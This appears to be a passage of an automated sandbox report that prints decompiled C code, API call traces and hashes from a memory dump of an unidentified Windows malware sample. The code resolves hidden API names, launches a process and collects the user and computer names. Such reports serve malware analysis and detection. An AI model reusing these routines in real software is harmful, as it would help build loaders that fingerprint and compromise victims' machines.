0x0267a4ae
0x0267a4bd
0x0267a4bd
0x0267a4cc
0x0267a4cc
0x0267a4de
0x0267a4de
0x0267a4ed
0x0267a4fe

APIs

GetTickCount.KERNEL32 ref: 0267A290
wsprintfA.USER32 ref: 0267A2DD
wsprintfA.USER32 ref: 0267A2FA
wsprintfA.USER32 ref: 0267A31D
HeapFree.KERNEL32(00000000,00000000), ref: 0267A32D
wsprintfA.USER32 ref: 0267A34F
HeapFree.KERNEL32(00000000,00000000), ref: 0267A35F
wsprintfA.USER32 ref: 0267A396
wsprintfA.USER32 ref: 0267A3B6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 0267A3D3
GetTickCount.KERNEL32 ref: 0267A3E3
RtlEnterCriticalSection.NTDLL(032F9570), ref: 0267A3F7
RtlLeaveCriticalSection.NTDLL(032F9570), ref: 0267A415

Part of subcall function 02678307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,73FCC740,?,?,0267A428,?,032F95B0), ref: 02678332
Part of subcall function 02678307: lstrlen.KERNEL32(?,?,?,0267A428,?,032F95B0), ref: 0267833A
Part of subcall function 02678307: strcpy.NTDLL ref: 02678351
Part of subcall function 02678307: lstrcat.KERNEL32(00000000,?), ref: 0267835C
Part of subcall function 02678307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0267A428,?,032F95B0), ref: 02678379

StrTrimA.SHLWAPI(00000000,0267C2AC,?,032F95B0), ref: 0267A447

Part of subcall function 02673CC8: lstrlen.KERNEL32(032F9910,00000000,00000000,73FCC740,0267A453,00000000), ref: 02673CD8
Part of subcall function 02673CC8: lstrlen.KERNEL32(?), ref: 02673CE0
Part of subcall function 02673CC8: lstrcpy.KERNEL32(00000000,032F9910), ref: 02673CF4
Part of subcall function 02673CC8: lstrcat.KERNEL32(00000000,?), ref: 02673CFF

lstrcpy.KERNEL32(00000000,?), ref: 0267A466
lstrcpy.KERNEL32(00000000,00000000), ref: 0267A46D
lstrcat.KERNEL32(00000000,?), ref: 0267A47A
lstrcat.KERNEL32(00000000,00000000), ref: 0267A47E

Part of subcall function 02671199: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,76D681D0), ref: 0267124B

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 0267A4AE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0267A4BD
HeapFree.KERNEL32(00000000,00000000,?,032F95B0), ref: 0267A4CC
HeapFree.KERNEL32(00000000,00000000), ref: 0267A4DE
HeapFree.KERNEL32(00000000,?), ref: 0267A4ED

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: 58e0928f83907163cb8eda0c9710d8be7b027c49a435683255818f90e0fdfb64
Instruction ID: 00e7fe3a086083d4b094eb5e6e58ec34e46696d7d970a1006a026925be8a1adc
Opcode Fuzzy Hash: 58e0928f83907163cb8eda0c9710d8be7b027c49a435683255818f90e0fdfb64
Instruction Fuzzy Hash: CE61AF71980200AFC7159F64FC88F5E77E8EF48324F051D25FA08D7250DB36E9AA9BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0267816C, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0267816C(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x267d33c; // 0x32f9bd8
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E026770F5(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x267c1ac;
				}
				_t46 = E02678022(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E02672049(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x267d27c; // 0xc7a5a8
						_t16 = _t75 + 0x267eb28; // 0x530025
						 *0x267d11c(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E026770F5(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x267c1b0;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E02672049(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E02679039(_v20);
						} else {
							_t66 =  *0x267d27c; // 0xc7a5a8
							_t31 = _t66 + 0x267ec48; // 0x73006d
							 *0x267d11c(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E02679039(_v12);
				}
				return _v24;
			}

0x02678174
0x0267817a
0x02678181
0x02678187
0x0267818b
0x0267818f
0x02678192
0x02678199
0x0267819c
0x0267819e
0x0267819e
0x026781a7
0x026781ae
0x026781b1
0x026781b7
0x026781c1
0x026781ca
0x026781d1
0x026781ea
0x026781f1
0x026781f4
0x026781fd
0x02678206
0x02678217
0x02678220
0x02678224
0x02678228
0x0267822f
0x02678232
0x02678234
0x02678234
0x0267823e
0x02678247
0x0267824e
0x02678266
0x0267826a
0x026782a7
0x0267826c
0x0267826f
0x02678277
0x02678288
0x02678294
0x0267829c
0x026782a0
0x026782a0
0x0267826a
0x026782af
0x026782b4
0x026782bb

APIs

GetTickCount.KERNEL32 ref: 02678181
lstrlen.KERNEL32(?,80000002,00000005), ref: 026781C1
lstrlen.KERNEL32(00000000), ref: 026781CA
lstrlen.KERNEL32(00000000), ref: 026781D1
lstrlenW.KERNEL32(80000002), ref: 026781DE
lstrlen.KERNEL32(?,00000004), ref: 0267823E
lstrlen.KERNEL32(?), ref: 02678247
lstrlen.KERNEL32(?), ref: 0267824E
lstrlenW.KERNEL32(?), ref: 02678255

Part of subcall function 02679039: HeapFree.KERNEL32(00000000,00000000,02677F18,00000000,?,?,00000000), ref: 02679045

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: 4c29ddc0918ac8df3a56a46020ebbd985d12121cbca457d822ab704727c667f0
Instruction ID: d08f90adc1fbb74ee5c34a1ae16b220bcd19fc17be5220b65186d86b64916d86
Opcode Fuzzy Hash: 4c29ddc0918ac8df3a56a46020ebbd985d12121cbca457d822ab704727c667f0
Instruction Fuzzy Hash: 6B416872D00208EFCF11AFA4ED48A9EBBB5EF48314F014465ED04A7220D7369E65EF94

Uniqueness

Uniqueness Score: -1.00%

Function 0267205E, Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0267205E(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E0267692C(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E0267A8D8( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x267d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x267d27c; // 0xc7a5a8
					_t18 = _t47 + 0x267e3e6; // 0x73797325
					_t68 = E026795B1(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x267d27c; // 0xc7a5a8
						_t19 = _t50 + 0x267e747; // 0x32f8cef
						_t20 = _t50 + 0x267e0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E026784D5();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E026784D5();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x267d238, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E02679039(_t70);
				goto L12;
			}

0x02672066
0x02672066
0x02672075
0x0267207e
0x02672081
0x0267218e
0x02672195
0x02672195
0x02672090
0x02672098
0x0267209d
0x026720a0
0x026720b5
0x026720bb
0x026720bc
0x026720bf
0x026720c5
0x026720c8
0x026720cd
0x026720d5
0x026720e1
0x026720e5
0x02672175
0x026720eb
0x026720eb
0x026720f0
0x026720f7
0x0267210b
0x0267210f
0x0267215e
0x02672111
0x02672112
0x02672119
0x02672132
0x02672134
0x02672138
0x0267213f
0x02672159
0x02672141
0x0267214a
0x0267214f
0x0267214f
0x0267213f
0x0267216d
0x0267216d
0x026720e5
0x0267217c
0x02672185
0x02672189
0x00000000

APIs

Part of subcall function 0267692C: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,0267207A,?,00000001,?,?,00000000,00000000), ref: 02676951
Part of subcall function 0267692C: GetProcAddress.KERNEL32(00000000,7243775A), ref: 02676973
Part of subcall function 0267692C: GetProcAddress.KERNEL32(00000000,614D775A), ref: 02676989
Part of subcall function 0267692C: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 0267699F
Part of subcall function 0267692C: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 026769B5
Part of subcall function 0267692C: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 026769CB

memset.NTDLL ref: 026720C8

Part of subcall function 026795B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,026723E9,63699BCE,02671354,73797325), ref: 026795C2
Part of subcall function 026795B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 026795DC

GetModuleHandleA.KERNEL32(4E52454B,032F8CEF,73797325), ref: 026720FE
GetProcAddress.KERNEL32(00000000), ref: 02672105
HeapFree.KERNEL32(00000000,00000000), ref: 0267216D

Part of subcall function 026784D5: GetProcAddress.KERNEL32(36776F57,026721E5), ref: 026784F0

CloseHandle.KERNEL32(00000000,00000001), ref: 0267214A
CloseHandle.KERNEL32(?), ref: 0267214F
GetLastError.KERNEL32(00000001), ref: 02672153

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: 82db1b8667a4100bd6094bffa214992d9bb7c2e75fce5ad0dfbef9c386502806
Instruction ID: 5dd67f41a0019599b28f7539bf1abd259c235fd0e2b43045074957cc70fbd762
Opcode Fuzzy Hash: 82db1b8667a4100bd6094bffa214992d9bb7c2e75fce5ad0dfbef9c386502806
Instruction Fuzzy Hash: 31311072C00208BFDB109FA4EC88D9EBBBDEF08354F11446AE715A7210D7359E59CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02678307, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E02678307(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x267d27c; // 0xc7a5a8
				_t1 = _t9 + 0x267e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E02679401(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E02672049(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E02677225(_t34, _t41, _a8);
						E02679039(_t41);
						_t42 = E02678E82(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E02679039(_t36);
							_t36 = _t42;
						}
						_t43 = E0267788B(_t36, _t33);
						if(_t43 != 0) {
							E02679039(_t36);
							_t36 = _t43;
						}
					}
					E02679039(_t28);
				}
				return _t36;
			}

0x02678307
0x0267830a
0x0267830b
0x02678313
0x0267831a
0x02678321
0x02678325
0x0267832b
0x02678332
0x02678337
0x02678349
0x0267834d
0x02678351
0x02678357
0x0267835c
0x0267836c
0x0267836e
0x02678385
0x02678389
0x0267838c
0x02678391
0x02678391
0x0267839a
0x0267839e
0x026783a1
0x026783a6
0x026783a6
0x0267839e
0x026783a9
0x026783a9
0x026783b4

APIs

Part of subcall function 02679401: lstrlen.KERNEL32(00000000,00000000,00000000,73FCC740,?,?,?,02678321,253D7325,00000000,00000000,73FCC740,?,?,0267A428,?), ref: 02679468
Part of subcall function 02679401: sprintf.NTDLL ref: 02679489

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,73FCC740,?,?,0267A428,?,032F95B0), ref: 02678332
lstrlen.KERNEL32(?,?,?,0267A428,?,032F95B0), ref: 0267833A

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

strcpy.NTDLL ref: 02678351
lstrcat.KERNEL32(00000000,?), ref: 0267835C

Part of subcall function 02677225: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,0267836B,00000000,?,?,?,0267A428,?,032F95B0), ref: 0267723C

Part of subcall function 02679039: HeapFree.KERNEL32(00000000,00000000,02677F18,00000000,?,?,00000000), ref: 02679045

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0267A428,?,032F95B0), ref: 02678379

Part of subcall function 02678E82: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,02678385,00000000,?,?,0267A428,?,032F95B0), ref: 02678E8C
Part of subcall function 02678E82: _snprintf.NTDLL ref: 02678EEA

Strings

=, xrefs: 02678373

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: d4811edbe1901e89085ff4f53a4641a8d4928681ac84c7a11e6c4d82714d9187
Instruction ID: ccc8ab34d2bc2a0377e7ee01a8f07327533754dd6c4d7b9f497b306a71d2868c
Opcode Fuzzy Hash: d4811edbe1901e89085ff4f53a4641a8d4928681ac84c7a11e6c4d82714d9187
Instruction Fuzzy Hash: EB11A333911224A787126BF9BC88C6E369E9F99764705006EF90497200DF35CD065BE5

Uniqueness

Uniqueness Score: -1.00%

Function 02676CC3, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 02676D1F
SysAllocString.OLEAUT32(0070006F), ref: 02676D33
SysAllocString.OLEAUT32(00000000), ref: 02676D45
SysFreeString.OLEAUT32(00000000), ref: 02676DA9
SysFreeString.OLEAUT32(00000000), ref: 02676DB8
SysFreeString.OLEAUT32(00000000), ref: 02676DC3

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 594d40a9a077eeda059a9e2c151f42327ce1d01d0852b168e9c40f250aaf14f4
Instruction ID: 91f3dfc9d789d9a0918e9793bd00471bef91a1dac5ade1d1938d40a0759db549
Opcode Fuzzy Hash: 594d40a9a077eeda059a9e2c151f42327ce1d01d0852b168e9c40f250aaf14f4
Instruction Fuzzy Hash: F3317E32D10A09AFDF01EFB9D844A9EB7BAAF48304F144465E910EB260DB719D4ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 0267692C, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0267692C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E02672049(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x267d27c; // 0xc7a5a8
					_t1 = _t23 + 0x267e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x267d27c; // 0xc7a5a8
					_t2 = _t26 + 0x267e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E02679039(_t54);
					} else {
						_t30 =  *0x267d27c; // 0xc7a5a8
						_t5 = _t30 + 0x267e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x267d27c; // 0xc7a5a8
							_t7 = _t33 + 0x267e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x267d27c; // 0xc7a5a8
								_t9 = _t36 + 0x267e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x267d27c; // 0xc7a5a8
									_t11 = _t39 + 0x267e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E0267727B(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x0267693b
0x0267693f
0x02676a01
0x02676945
0x02676945
0x0267694a
0x0267695d
0x0267695f
0x02676964
0x0267696c
0x02676973
0x02676977
0x0267697a
0x026769f9
0x026769fa
0x0267697c
0x0267697c
0x02676981
0x02676989
0x0267698d
0x02676990
0x00000000
0x02676992
0x02676992
0x02676997
0x0267699f
0x026769a3
0x026769a6
0x00000000
0x026769a8
0x026769a8
0x026769ad
0x026769b5
0x026769b9
0x026769bc
0x00000000
0x026769be
0x026769be
0x026769c3
0x026769cb
0x026769cf
0x026769d2
0x00000000
0x026769d4
0x026769da
0x026769df
0x026769e6
0x026769ed
0x026769f0
0x00000000
0x026769f2
0x026769f5
0x026769f5
0x026769f0
0x026769d2
0x026769bc
0x026769a6
0x02676990
0x0267697a
0x02676a0f

APIs

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,0267207A,?,00000001,?,?,00000000,00000000), ref: 02676951
GetProcAddress.KERNEL32(00000000,7243775A), ref: 02676973
GetProcAddress.KERNEL32(00000000,614D775A), ref: 02676989
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 0267699F
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 026769B5
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 026769CB

Part of subcall function 0267727B: memset.NTDLL ref: 026772FA

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: 6011c28f8f710829ec0811a25c6f74a1f04dfde0219e9b6f1adf86a400224a36
Instruction ID: 26ceda8e71380e3c738e80fd9b5a50ca68d260beb9bf5391eb3d77384e164ac6
Opcode Fuzzy Hash: 6011c28f8f710829ec0811a25c6f74a1f04dfde0219e9b6f1adf86a400224a36
Instruction Fuzzy Hash: 84215CB154160AEFDB24DFB9F884E5A77ECEB18354702496AE714C7300E731EA498F60

Uniqueness

Uniqueness Score: -1.00%

Function 02677649, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02677649() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E02672049(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E02679039(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x267a33a
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x02677657
0x0267765a
0x0267765d
0x02677663
0x02677668
0x0267766e
0x02677676
0x02677679
0x0267767f
0x02677684
0x02677691
0x0267769e
0x026776a2
0x026776a4
0x026776a8
0x026776ab
0x026776bb
0x0267770d
0x0267770e
0x026776bd
0x026776c0
0x026776c7
0x026776ca
0x026776dd
0x00000000
0x026776df
0x026776e2
0x026776e7
0x026776f5
0x026776f8
0x02677700
0x02677703
0x00000000
0x02677705
0x02677705
0x02677708
0x02677708
0x02677703
0x026776dd
0x02677713
0x02677714
0x02677684
0x0267771a

APIs

GetUserNameW.ADVAPI32(00000000,0267A338), ref: 0267765D
GetComputerNameW.KERNEL32(00000000,0267A338), ref: 02677679

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

GetUserNameW.ADVAPI32(00000000,0267A338), ref: 026776B3
GetComputerNameW.KERNEL32(0267A338,?), ref: 026776D5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,0267A338,00000000,0267A33A,00000000,00000000,?,?,0267A338), ref: 026776F8

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: 0189d817498fa30c2d0b88a03bfb34f07c761d8b783e33e9f43a35476fc10aaa
Instruction ID: bbe295bbd5bf9c210ef89a5a7a14fa3ebec16cdc8e4186f932dcb29064b4ee98
Opcode Fuzzy Hash: 0189d817498fa30c2d0b88a03bfb34f07c761d8b783e33e9f43a35476fc10aaa
Instruction Fuzzy Hash: 1421D776910208FBCB15DFA9E984CEEBBB8EF44204B5044AAE501E7200E7309B54DB60

Uniqueness

Uniqueness Score: -1.00%

Function 02671585, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E02671585(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E02677F27(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E0267A9AB(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x267d130() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x02671585
0x02671592
0x02671594
0x026715f7
0x00000000
0x026715f7
0x026715ac
0x026715b3
0x026715bf
0x026715c4
0x026715c6
0x026715c8
0x026715ca
0x026715cc
0x026715ce
0x026715da
0x026715ea
0x00000000
0x026715dc
0x026715dc
0x026715e3
0x026715f0
0x026715f0
0x026715f0
0x026715e3
0x026715da
0x026715f5
0x00000000
0x00000000
0x026715fb

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,026711DA,?,?,00000000,00000000), ref: 026715BF
ResetEvent.KERNEL32(?), ref: 026715C4
GetLastError.KERNEL32 ref: 026715DC
GetLastError.KERNEL32(?,?,00000102,026711DA,?,?,00000000,00000000), ref: 026715F7

Part of subcall function 02677F27: lstrlen.KERNEL32(00000000,00000008,?,76D24D40,?,?,026715A4,?,?,?,?,00000102,026711DA,?,?,00000000), ref: 02677F33
Part of subcall function 02677F27: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,026715A4,?,?,?,?,00000102,026711DA,?), ref: 02677F91
Part of subcall function 02677F27: lstrcpy.KERNEL32(00000000,00000000), ref: 02677FA1

SetEvent.KERNEL32(?), ref: 026715EA

Memory Dump Source

